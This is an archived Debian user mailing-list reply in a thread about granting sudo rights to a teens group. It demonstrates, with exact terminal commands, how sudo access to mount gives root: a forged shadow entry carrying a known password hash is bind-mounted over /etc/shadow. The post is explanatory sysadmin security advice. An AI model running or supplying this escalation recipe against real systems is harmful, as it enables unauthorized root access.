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Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous?

From Andy Smith <andy@strugglers.net>
Newsgroups linux.debian.user
Subject Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous?
Date 2019-06-24 02:50 +0200
Message-ID <ycllf-53N-1@gated-at.bofh.it> (permalink)
References <yaH6y-17a-5@gated-at.bofh.it> <yaXEl-2SC-3@gated-at.bofh.it> <ybXVD-7Vl-3@gated-at.bofh.it> <ybYeZ-8gU-1@gated-at.bofh.it> <yclbA-50z-1@gated-at.bofh.it>
Organization linux.* mail to news gateway

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Hello,

On Mon, Jun 24, 2019 at 12:34:36PM +1200, Richard Hector wrote:
> On 23/06/19 12:07 PM, Andy Smith wrote:
> > andy@debtest1:~$ su - bob
> > Password: 
> > bob@debtest1:~$ whoami
> > bob
> > bob@debtest1:~$ sudo -i
> > [sudo] password for bob: 
> > Sorry, user bob is not allowed to execute '/bin/bash' as root on debtest1.vps.bitfolk.com.
> > bob@debtest1:~$ echo 'bob:$6$K6b1uzg.$pTNKJG/9hIgnhBL53Y2mr0rrsBBZE1xDWE0bO8E94dBlM.itel4/meJTZYL12IIOZ9ck/
> > 3P2/j5XGbyKcKxFK/:18070:0:99999:7:::' > myshadow
> > bob@debtest1:~$ sudo mount --bind ./myshadow /etc/shadow
> > bob@debtest1:~$ su -
> > Password: 
> > root@debtest1:~# whoami
> > root

[…]

> Haven't you just set your own (bob) password there? Not saying you
> couldn't set root's instead, but ... it looks like in this case you
> already knew it.

Yes, it was a mispaste from an earlier line in my screen history.
Sorry about that.

Point is you can take a hash that you already know, e.g. your own,
write it into a new shadow file but make it be for the root user,
not your own user, e.g.:

bob@debtest1:~$ echo 'root:$6$K6b1uzg.$pTNKJG/9hIgnhBL53Y2mr0rrsBBZE1xDWE0bO8E94dBlM.itel4/meJTZYL12IIOZ9ck/3P2/j5XGbyKcKxFK/:18070:0:99999:7:::' > myshadow

and then since you are able to use mount as root you can bind mount
your new shadow file over the system's real shadow file, hence
effectively resetting root's password:

bob@debtest1:~$ sudo mount --bind ./myshadow /etc/shadow
bob@debtest1:~$ su -
Password: 
root@debtest1:~# whoami
root

Since you can bind mount files and directories, root access to
"mount" means root access to every part of the existing filesystem
so there's many many ways of getting a root shell from that.

Try it. :) But maybe on a test host as bind-mounting over something
important may completely break your system.

Cheers,
Andy

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Thread

Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-19 06:30 +0200
  Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? john doe <johndoe65534@mail.com> - 2019-06-19 08:00 +0200
  Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? <tomas@tuxteam.de> - 2019-06-19 08:10 +0200
  Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Carl <carlf@panix.com> - 2019-06-19 13:40 +0200
    Re: Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-20 07:20 +0200
      Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Richard Hector <richard@walnut.gen.nz> - 2019-06-20 07:40 +0200
        Re: Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-20 09:20 +0200
          Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Curt <curty@free.fr> - 2019-06-20 11:10 +0200
          Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? rhkramer@gmail.com - 2019-06-20 14:10 +0200
      Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Carl <carlf@panix.com> - 2019-06-20 13:00 +0200
        Re: Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-20 14:50 +0200
          Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? Gene Heskett <gheskett@shentel.net> - 2019-06-20 18:40 +0200
            Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Carl Fink <carlf@panix.com> - 2019-06-21 21:50 +0200
              Re: Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-22 01:00 +0200
                Re: Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? deloptes <deloptes@gmail.com> - 2019-06-22 04:30 +0200
                Re: Re: Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-22 10:40 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? rhkramer@gmail.com - 2019-06-22 12:30 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? deloptes <deloptes@gmail.com> - 2019-06-22 17:30 +0200
                Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Brad Rogers <brad@fineby.me.uk> - 2019-06-22 18:20 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? deloptes <deloptes@gmail.com> - 2019-06-22 18:30 +0200
                Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Curt <curty@free.fr> - 2019-06-22 18:50 +0200
                Re: Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? <tomas@tuxteam.de> - 2019-06-22 10:50 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? Gene Heskett <gheskett@shentel.net> - 2019-06-22 16:20 +0200
                Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Carl <carlf@panix.com> - 2019-06-22 14:20 +0200
              Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? Gene Heskett <gheskett@shentel.net> - 2019-06-22 02:40 +0200
                Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Curt <curty@free.fr> - 2019-06-22 10:10 +0200
                Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? <tomas@tuxteam.de> - 2019-06-22 10:50 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? "Thomas Schmitt" <scdbackup@gmx.net> - 2019-06-22 10:50 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? deloptes <deloptes@gmail.com> - 2019-06-22 11:50 +0200
                Off topic: remaja (teens) "Thomas Schmitt" <scdbackup@gmx.net> - 2019-06-22 12:30 +0200
                Re: Off topic: remaja (teens) <tomas@tuxteam.de> - 2019-06-22 12:40 +0200
                Off-topic: Action [Was: Re: Off topic: remaja (teens) Erik Christiansen <dvalin@internode.on.net> - 2019-06-22 13:40 +0200
                Re: Off topic: remaja (teens) deloptes <deloptes@gmail.com> - 2019-06-22 23:40 +0200
                Off topic: Carbon. Was: Off topic: remaja (teens) "Thomas Schmitt" <scdbackup@gmx.net> - 2019-06-23 01:10 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) deloptes <deloptes@gmail.com> - 2019-06-23 01:50 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) Elmo <moelmoel2714@gmail.com> - 2019-06-23 03:00 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) deloptes <deloptes@gmail.com> - 2019-06-23 09:00 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) Elmo <moelmoel2714@gmail.com> - 2019-06-23 10:00 +0200
                Off topic: German. Was: Off topic: Carbon. Was: Off topic: remaja (teens) "Thomas Schmitt" <scdbackup@gmx.net> - 2019-06-23 10:50 +0200
                Re: Off topic: German. Was: Off topic: Carbon. Was: Off topic: remaja (teens) Nicholas Geovanis <nickgeovanis@gmail.com> - 2019-06-23 16:00 +0200
                Re: Off topic: German. Was: Off topic: Carbon. Was: Off topic: remaja (teens) rhkramer@gmail.com - 2019-06-23 18:00 +0200
                Re: Off topic: German. Was: Off topic: Carbon. Was: Off topic:  remaja (teens) Curt <curty@free.fr> - 2019-06-23 18:30 +0200
                Re: Off topic: German. Was: Off topic: Carbon. Was: Off topic: remaja (teens) Nicholas Geovanis <nickgeovanis@gmail.com> - 2019-06-23 19:00 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) <tomas@tuxteam.de> - 2019-06-23 11:00 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) Joe <joe@jretrading.com> - 2019-06-23 12:30 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) Georgios <gpdsbe@mailbox.org> - 2019-06-23 20:10 +0200
                Re: Off topic: Carbon. Was: Off topic: remaja (teens) Joe <joe@jretrading.com> - 2019-06-23 22:50 +0200
                Re: Off topic: Carbon. John Hasler <jhasler@newsguy.com> - 2019-06-23 23:10 +0200
                Teenagers (was: Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous?) rhkramer@gmail.com - 2019-06-22 12:30 +0200
                Re: Giving remaja (teens) group full administrator privileges through sudo - dangerous? Gene Heskett <gheskett@shentel.net> - 2019-06-22 16:30 +0200
      Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Jimmy Johnson <field.engineer@gmail.com> - 2019-06-23 01:50 +0200
        Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Andy Smith <andy@strugglers.net> - 2019-06-23 02:10 +0200
          Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? <tomas@tuxteam.de> - 2019-06-23 11:10 +0200
          Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Richard Hector <richard@walnut.gen.nz> - 2019-06-24 02:40 +0200
            Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Andy Smith <andy@strugglers.net> - 2019-06-24 02:50 +0200
  Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Bagas Sanjaya <bagasdotme@gmail.com> - 2019-06-25 06:00 +0200
    Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? mick crane <mick.crane@gmail.com> - 2019-06-25 09:10 +0200
    Re: Giving remaja (teens) group full administrator privileges through  sudo - dangerous? Aidan Gauland <aidalgol@fastmail.net> - 2019-06-25 10:00 +0200
      Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Curt <curty@free.fr> - 2019-06-25 10:50 +0200
        Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? Greg Wooledge <wooledg@eeg.ccf.org> - 2019-06-25 14:50 +0200
  Re: Giving remaja (teens) group full administrator privileges  through sudo - dangerous? andreimpopescu@gmail.com - 2019-07-02 14:50 +0200

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